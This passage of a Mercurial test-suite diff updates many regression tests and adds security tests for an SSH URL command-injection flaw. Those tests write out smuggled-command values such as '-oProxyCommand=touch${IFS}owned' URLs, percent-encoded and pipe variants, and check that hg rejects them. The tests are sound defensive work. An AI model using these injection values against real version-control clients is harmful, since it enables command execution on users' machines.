   $ hg version -v --config extensions.throw=throw.py --config extensions.strip=
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
@@ -1674,7 +1683,7 @@
 
 Even though the extension fails during uisetup, hg is still basically usable:
   $ hg version
-  *** failed to set up extension baduisetup: No module named bdiff
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
@@ -1696,8 +1705,8 @@
       mod = _hgextimport(_origimport, head, globals, locals, None, level)
     File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
       return importfunc(name, globals, *args, **kwargs)
-  ImportError: No module named bdiff
-  *** failed to set up extension baduisetup: No module named bdiff
+  ImportError: No module named (mercurial\.)?bdiff (re)
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
--- a/tests/test-flagprocessor.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-flagprocessor.t	Mon Sep 18 11:51:41 2017 -0400
@@ -152,6 +152,7 @@
   $ hg commit -Aqm 'fail+base64+gzip+noop'
   abort: missing processor for flag '0x1'!
   [255]
+  $ rm fail-base64-gzip-noop
 
 # TEST: ensure we cannot register several flag processors on the same flag
   $ cat >> .hg/hgrc << EOF
@@ -159,11 +160,11 @@
   > extension=$TESTDIR/flagprocessorext.py
   > duplicate=$TESTDIR/flagprocessorext.py
   > EOF
-  $ echo 'this should fail' > file
-  $ hg commit -Aqm 'add file'
+  $ hg debugrebuilddirstate
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
-  abort: missing processor for flag '0x1'!
-  [255]
+  $ hg st 2>&1 | egrep 'cannot register multiple processors|flagprocessorext'
+  *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
+    File "*/tests/flagprocessorext.py", line *, in b64decode (glob)
 
   $ cd ..
 
--- a/tests/test-fncache.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-fncache.t	Mon Sep 18 11:51:41 2017 -0400
@@ -270,7 +270,11 @@
   > cmdtable = {}
   > 
   > EOF
+
+Clean cached version
   $ rm -f "${extpath}c"
+  $ rm -Rf "`dirname $extpath`/__pycache__"
+
   $ touch z
   $ hg ci -qAm z
   transaction abort!
@@ -305,7 +309,11 @@
   > cmdtable = {}
   > 
   > EOF
+
+Clean cached versions
   $ rm -f "${extpath}c"
+  $ rm -Rf "`dirname $extpath`/__pycache__"
+
   $ hg up -q 1
   $ touch z
   $ hg ci -qAm z 2>/dev/null
--- a/tests/test-mq-git.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-mq-git.t	Mon Sep 18 11:51:41 2017 -0400
@@ -208,5 +208,62 @@
   @@ -0,0 +1,1 @@
   +a
 
+Test how [diff] configuration influence and cause invalid or lossy patches:
+
+  $ cat <<EOF >> .hg/hgrc
+  > [mq]
+  > git = AUTO
+  > [diff]
+  > nobinary = True
+  > noprefix = True
+  > showfunc = True
+  > ignorews = True
+  > ignorewsamount = True
+  > ignoreblanklines = True
+  > unified = 1
+  > EOF
+
+  $ echo ' a' > a
+  $ hg qnew prepare -d '0 0'
+  $ echo '  a' > a
+  $ printf '\0' > b
+  $ echo >> c
+  $ hg qnew diff -d '0 0'
+
+  $ cat .hg/patches/prepare
+  # HG changeset patch
+  # Date 0 0
+  # Parent  cf0bfe72686a47d8d7d7b4529a3adb8b0b449a9f
+  
+  diff -r cf0bfe72686a -r fb9c4422b0f3 a
+  --- a/a
+  +++ b/a
+  @@ -1,1 +1,1 @@
+  -a
+  + a
+  $ cat .hg/patches/diff
+  # HG changeset patch
+  # Date 0 0
+  # Parent  fb9c4422b0f37dd576522dd9a3f99b825c177efe
+  
+  diff --git a/a b/a
+  --- a/a
+  +++ b/a
+  @@ -1,1 +1,1 @@
+  - a
+  +  a
+  diff --git a/b b/b
+  index 78981922613b2afb6025042ff6bd878ac1994e85..f76dd238ade08917e6712764a16a22005a50573d
+  GIT binary patch
+  literal 1
+  Ic${MZ000310RR91
+  
+  diff --git a/c b/c
+  --- a/c
+  +++ b/c
+  @@ -1,1 +1,2 @@
+   a
+  +
+
   $ cd ..
 
--- a/tests/test-pager.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-pager.t	Mon Sep 18 11:51:41 2017 -0400
@@ -80,6 +80,34 @@
   paged! 'summary:     modify a 10\n'
   paged! '\n'
 
+explicit --pager=on should take precedence over other configurations
+(issue5580)
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > paginate = false
+  > EOF
+  $ hg log --limit 1 --pager=on
+  paged! 'changeset:   10:46106edeeb38\n'
+  paged! 'tag:         tip\n'
+  paged! 'user:        test\n'
+  paged! 'date:        Thu Jan 01 00:00:00 1970 +0000\n'
+  paged! 'summary:     modify a 10\n'
+  paged! '\n'
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > # true is default value of ui.paginate
+  > paginate = true
+  > EOF
+  $ hg log --limit 1 --pager=off
+  changeset:   10:46106edeeb38
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     modify a 10
+  
+
 We can enable the pager on id:
 
 BROKEN: should be paged
--- a/tests/test-profile.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-profile.t	Mon Sep 18 11:51:41 2017 -0400
@@ -4,21 +4,22 @@
   $ hg init a
   $ cd a
 
+Function to check that statprof ran
+  $ statprofran () {
+  >   egrep 'Sample count:|No samples recorded' > /dev/null
+  > }
 
 test --profile
 
-  $ hg st --profile 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg st --profile 2>&1 | statprofran
 
 Abreviated version
 
-  $ hg st --prof 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg st --prof 2>&1 | statprofran
 
 In alias
 
-  $ hg --config "alias.profst=status --profile" profst 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg --config "alias.profst=status --profile" profst 2>&1 | statprofran
 
 #if lsprof
 
@@ -81,26 +82,22 @@
 statistical profiler works
 
   $ hg --profile sleep 2>../out
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
 Various statprof formatters work
 
   $ hg --profile --config profiling.statformat=byline sleep 2>../out
   $ head -n 1 ../out
     %   cumulative      self          
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=bymethod sleep 2>../out
   $ head -n 1 ../out
     %   cumulative      self          
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=hotpath sleep 2>../out
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=json sleep 2>../out
   $ cat ../out
--- a/tests/test-progress.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-progress.t	Mon Sep 18 11:51:41 2017 -0400
@@ -312,6 +312,7 @@
 from each other.
 
   $ rm -f loop.pyc
+  $ rm -Rf __pycache__
   $ cat >> loop.py <<EOF
   > # use non-ascii characters as loop items of progress
   > loopitems = [
--- a/tests/test-pull.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-pull.t	Mon Sep 18 11:51:41 2017 -0400
@@ -105,4 +105,30 @@
   $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
   $ hg pull -q "$URL"
 
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
+  pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
+  pulling from ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
+
   $ cd ..
--- a/tests/test-push.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-push.t	Mon Sep 18 11:51:41 2017 -0400
@@ -316,3 +316,29 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
+  pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
+  pushing to ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
--- a/tests/test-rebase-scenario-global.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-rebase-scenario-global.t	Mon Sep 18 11:51:41 2017 -0400
@@ -375,6 +375,39 @@
 
   $ cd ..
 
+Check that temporary bundle doesn't lose phase when not using generaldelta
+
+  $ hg --config format.usegeneraldelta=no init issue5678
+  $ cd issue5678
+  $ grep generaldelta .hg/requires
+  [1]
+  $ echo a > a
+  $ hg ci -Aqm a
+  $ echo b > b
+  $ hg ci -Aqm b
+  $ hg co -q '.^'
+  $ echo c > c
+  $ hg ci -Aqm c
+  $ hg phase --public
+  $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n'
+  @  2:d36c public c
+  |
+  | o  1:d2ae draft b
+  |/
+  o  0:cb9a public a
+  
+  $ hg rebase -s 1 -d 2
+  rebasing 1:d2ae7f538514 "b"
+  saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/d2ae7f538514-2953539b-rebase.hg (glob)
+  $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n'
+  o  2:c882 draft b
+  |
+  @  1:d36c public c
+  |
+  o  0:cb9a public a
+  
+  $ cd ..
+
 Test for revset
 
 We need a bit different graph
--- a/tests/test-revert-interactive.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-revert-interactive.t	Mon Sep 18 11:51:41 2017 -0400
@@ -460,3 +460,40 @@
   forget added file newfile (Yn)? y
   $ hg status
   ? newfile
+
+When a line without EOL is selected during "revert -i" (issue5651)
+
+  $ cat <<EOF >> $HGRCPATH
+  > [experimental]
+  > %unset revertalternateinteractivemode
+  > EOF
+
+  $ hg init $TESTTMP/revert-i-eol
+  $ cd $TESTTMP/revert-i-eol
+  $ echo 0 > a
+  $ hg ci -qAm 0
+  $ printf 1 >> a
+  $ hg ci -qAm 1
+  $ cat a
+  0
+  1 (no-eol)
+
+  $ hg revert -ir'.^' <<EOF
+  > y
+  > y
+  > EOF
+  reverting a
+  diff --git a/a b/a
+  1 hunks, 1 lines changed
+  examine changes to 'a'? [Ynesfdaq?] y
+  
+  @@ -1,1 +1,2 @@
+   0
+  +1
+  \ No newline at end of file
+  revert this change to 'a'? [Ynesfdaq?] y
+  
+  $ cat a
+  0
+
+  $ cd ..
--- a/tests/test-revlog-raw.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-revlog-raw.py	Mon Sep 18 11:51:41 2017 -0400
@@ -144,12 +144,18 @@
             text = None
             cachedelta = (deltaparent, rlog.revdiff(deltaparent, r))
         flags = rlog.flags(r)
-        ifh = dlog.opener(dlog.indexfile, 'a+')
-        dfh = None
-        if not dlog._inline:
-            dfh = dlog.opener(dlog.datafile, 'a+')
-        dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags, cachedelta,
-                          ifh, dfh)
+        ifh = dfh = None
+        try:
+            ifh = dlog.opener(dlog.indexfile, 'a+')
+            if not dlog._inline:
+                dfh = dlog.opener(dlog.datafile, 'a+')
+            dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags,
+                              cachedelta, ifh, dfh)
+        finally:
+            if dfh is not None:
+                dfh.close()
+            if ifh is not None:
+                ifh.close()
     return dlog
 
 # Utilities to generate revisions for testing
--- a/tests/test-rollback.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-rollback.t	Mon Sep 18 11:51:41 2017 -0400
@@ -210,3 +210,248 @@
   abort: rollback is disabled because it is unsafe
   (see `hg help -v rollback` for information)
   [255]
+
+  $ cd ..
+
+I/O errors on stdio are handled properly (issue5658)
+
+  $ cat > badui.py << EOF
+  > import errno
+  > from mercurial.i18n import _
+  > from mercurial import (
+  >     error,
+  >     ui as uimod,
+  > )
+  > 
+  > def pretxncommit(ui, repo, **kwargs):
+  >     ui.warn('warn during pretxncommit\n')
+  > 
+  > def pretxnclose(ui, repo, **kwargs):
+  >     ui.warn('warn during pretxnclose\n')
+  > 
+  > def txnclose(ui, repo, **kwargs):
+  >     ui.warn('warn during txnclose\n')
+  > 
+  > def txnabort(ui, repo, **kwargs):
+  >     ui.warn('warn during abort\n')
+  > 
+  > class fdproxy(object):
+  >     def __init__(self, ui, o):
+  >         self._ui = ui
+  >         self._o = o
+  > 
+  >     def __getattr__(self, attr):
+  >         return getattr(self._o, attr)
+  > 
+  >     def write(self, msg):
+  >         errors = set(self._ui.configlist('ui', 'ioerrors', []))
+  >         pretxncommit = msg == 'warn during pretxncommit\n'
+  >         pretxnclose = msg == 'warn during pretxnclose\n'
+  >         txnclose = msg == 'warn during txnclose\n'
+  >         txnabort = msg == 'warn during abort\n'
+  >         msgabort = msg == _('transaction abort!\n')
+  >         msgrollback = msg == _('rollback completed\n')
+  > 
+  >         if pretxncommit and 'pretxncommit' in errors:
+  >             raise IOError(errno.EPIPE, 'simulated epipe')
+  >         if pretxnclose and 'pretxnclose' in errors:
+  >             raise IOError(errno.EIO, 'simulated eio')
+  >         if txnclose and 'txnclose' in errors:
+  >             raise IOError(errno.EBADF, 'simulated badf')
+  >         if txnabort and 'txnabort' in errors:
+  >             raise IOError(errno.EPIPE, 'simulated epipe')
+  >         if msgabort and 'msgabort' in errors:
+  >             raise IOError(errno.EBADF, 'simulated ebadf')
+  >         if msgrollback and 'msgrollback' in errors:
+  >             raise IOError(errno.EIO, 'simulated eio')
+  > 
+  >         return self._o.write(msg)
+  > 
+  > def uisetup(ui):
+  >     class badui(ui.__class__):
+  >         def write_err(self, *args, **kwargs):
+  >             olderr = self.ferr
+  >             try:
+  >                 self.ferr = fdproxy(self, olderr)
+  >                 return super(badui, self).write_err(*args, **kwargs)
+  >             finally:
+  >                 self.ferr = olderr
+  > 
+  >     ui.__class__ = badui
+  > 
+  > def reposetup(ui, repo):
+  >     ui.setconfig('hooks', 'pretxnclose.badui', pretxnclose, 'badui')
+  >     ui.setconfig('hooks', 'txnclose.badui', txnclose, 'badui')
+  >     ui.setconfig('hooks', 'pretxncommit.badui', pretxncommit, 'badui')
+  >     ui.setconfig('hooks', 'txnabort.badui', txnabort, 'badui')
+  > EOF
+
+  $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > badui = $TESTTMP/badui.py
+  > EOF
+
+An I/O error during pretxncommit is handled
+
+  $ hg init ioerror-pretxncommit
+  $ cd ioerror-pretxncommit
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=pretxncommit commit -m 'error during pretxncommit'
+  warn during pretxnclose
+  warn during txnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error during pretxnclose is handled
+
+  $ hg init ioerror-pretxnclose
+  $ cd ioerror-pretxnclose
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=pretxnclose commit -m 'error during pretxnclose'
+  warn during pretxncommit
+  warn during txnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error during txnclose is handled
+
+  $ hg init ioerror-txnclose
+  $ cd ioerror-txnclose
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=txnclose commit -m 'error during txnclose'
+  warn during pretxncommit
+  warn during pretxnclose
+
+  $ hg commit -m 'commit 1'
+  nothing changed
+  [1]
+
+  $ cd ..
+
+An I/O error writing "transaction abort" is handled
+
+  $ hg init ioerror-msgabort
+  $ cd ioerror-msgabort
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=msgabort --config hooks.pretxncommit=false commit -m 'error during abort message'
+  warn during abort
+  rollback completed
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg commit -m 'commit 1'
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ cd ..
+
+An I/O error during txnabort should still result in rollback
+
+  $ hg init ioerror-txnabort
+  $ cd ioerror-txnabort
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+  $ hg --config ui.ioerrors=txnabort --config hooks.pretxncommit=false commit -m 'error during abort'
+  transaction abort!
+  rollback completed
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg commit -m 'commit 1'
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ cd ..
+
+An I/O error writing "rollback completed" is handled
+
+  $ hg init ioerror-msgrollback
+  $ cd ioerror-msgrollback
+
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+
+  $ hg --config ui.ioerrors=msgrollback --config hooks.pretxncommit=false commit -m 'error during rollback message'
+  transaction abort!
+  warn during abort
+  abort: pretxncommit hook exited with status 1
+  [255]
+
+  $ hg verify
+  checking changesets
+  checking manifests
+  crosschecking files in changesets and manifests
+  checking files
+  1 files, 1 changesets, 1 total revisions
+
+  $ cd ..
+
+Multiple I/O errors after transaction open are handled.
+This is effectively what happens if a peer disconnects in the middle
+of a transaction.
+
+  $ hg init ioerror-multiple
+  $ cd ioerror-multiple
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  warn during pretxncommit
+  warn during pretxnclose
+  warn during txnclose
+
+  $ echo 1 > foo
+
+  $ hg --config ui.ioerrors=pretxncommit,pretxnclose,txnclose,txnabort,msgabort,msgrollback commit -m 'multiple errors'
+
+  $ hg verify
+  checking changesets
+  checking manifests
+  crosschecking files in changesets and manifests
+  checking files
+  1 files, 2 changesets, 2 total revisions
+
+  $ cd ..
--- a/tests/test-ssh-bundle1.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-ssh-bundle1.t	Mon Sep 18 11:51:41 2017 -0400
@@ -461,7 +461,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
--- a/tests/test-ssh.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-ssh.t	Mon Sep 18 11:51:41 2017 -0400
@@ -477,7 +477,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
--- a/tests/test-static-http.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-static-http.t	Mon Sep 18 11:51:41 2017 -0400
@@ -156,4 +156,53 @@
   $ hg clone static-http://localhost:$HGPORT/notarepo local3
   abort: 'http://localhost:$HGPORT/notarepo' does not appear to be an hg repository!
   [255]
+
+Clone with tags and branches works
+
+  $ hg init remote-with-names
+  $ cd remote-with-names
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  $ echo 1 > foo
+  $ hg commit -m 'commit 1'
+  $ hg -q up 0
+  $ hg branch mybranch
+  marked working directory as branch mybranch
+  (branches are permanent and global, did you want a bookmark?)
+  $ echo 2 > foo
+  $ hg commit -m 'commit 2 (mybranch)'
+  $ hg tag -r 1 'default-tag'
+  $ hg tag -r 2 'branch-tag'
+
+  $ cd ..
+
+  $ hg clone static-http://localhost:$HGPORT/remote-with-names local-with-names
+  requesting all changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 5 changesets with 5 changes to 2 files (+1 heads)
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Clone a specific branch works
+
+  $ hg clone -r mybranch static-http://localhost:$HGPORT/remote-with-names local-with-names-branch
+  adding changesets
+  adding manifests
+  adding file changes
+  added 4 changesets with 4 changes to 2 files
+  updating to branch mybranch
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Clone a specific tag works
+
+  $ hg clone -r default-tag static-http://localhost:$HGPORT/remote-with-names local-with-names-tag
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
   $ killdaemons.py
--- a/tests/test-strip.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-strip.t	Mon Sep 18 11:51:41 2017 -0400
@@ -1097,3 +1097,25 @@
   112478962961147124edd43549aedd1a335e44bf 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
   08ebfeb61bac6e3f12079de774d285a0d6689eba 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
   26805aba1e600a82e93661149f2313866a221a7b 0 {112478962961147124edd43549aedd1a335e44bf} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  $ cd ..
+
+Test that obsmarkers are restored even when not using generaldelta
+
+  $ hg --config format.usegeneraldelta=no init issue5678
+  $ cd issue5678
+  $ cat >> .hg/hgrc <<EOF
+  > [experimental]
+  > evolution=all
+  > EOF
+  $ echo a > a
+  $ hg ci -Aqm a
+  $ hg ci --amend -m a2
+  $ hg debugobsolete
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  $ hg strip .
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/489bac576828-bef27e14-backup.hg (glob)
+  $ hg unbundle -q .hg/strip-backup/*
+  $ hg debugobsolete
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  $ cd ..
--- a/tests/test-subrepo-git.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-subrepo-git.t	Mon Sep 18 11:51:41 2017 -0400
@@ -1182,3 +1182,34 @@
   pwned: you asked for it
 
 #endif
+
+test for ssh exploit with git subrepos 2017-07-25
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ git init s
+  Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
+  $ cd s
+  $ git commit --allow-empty -m 'empty'
+  [master (root-commit) 153f934] empty
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
+  [255]
--- a/tests/test-subrepo-svn.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-subrepo-svn.t	Mon Sep 18 11:51:41 2017 -0400
@@ -639,3 +639,43 @@
   $ hg update -q -C '.^1'
 
   $ cd ../..
+
+SEC: test for ssh exploit
+
+  $ hg init ssh-vuln
+  $ cd ssh-vuln
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+  $ svn co --quiet "$SVNREPOURL"/src s
+  $ hg add .hgsub
+  $ hg ci -m1
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m2
+  $ cd ..
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check that hiding the attack in the username doesn't work:
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s")
+  [255]
--- a/tests/test-subrepo.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-subrepo.t	Mon Sep 18 11:51:41 2017 -0400
@@ -1789,3 +1789,77 @@
   +bar
 
   $ cd ..
+
+test for ssh exploit 2017-07-25
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg init s
+  $ cd s
+  $ echo init > init
+  $ hg add
+  adding init
+  $ hg commit -m init
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
+  [255]
+
+also check for a pipe
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
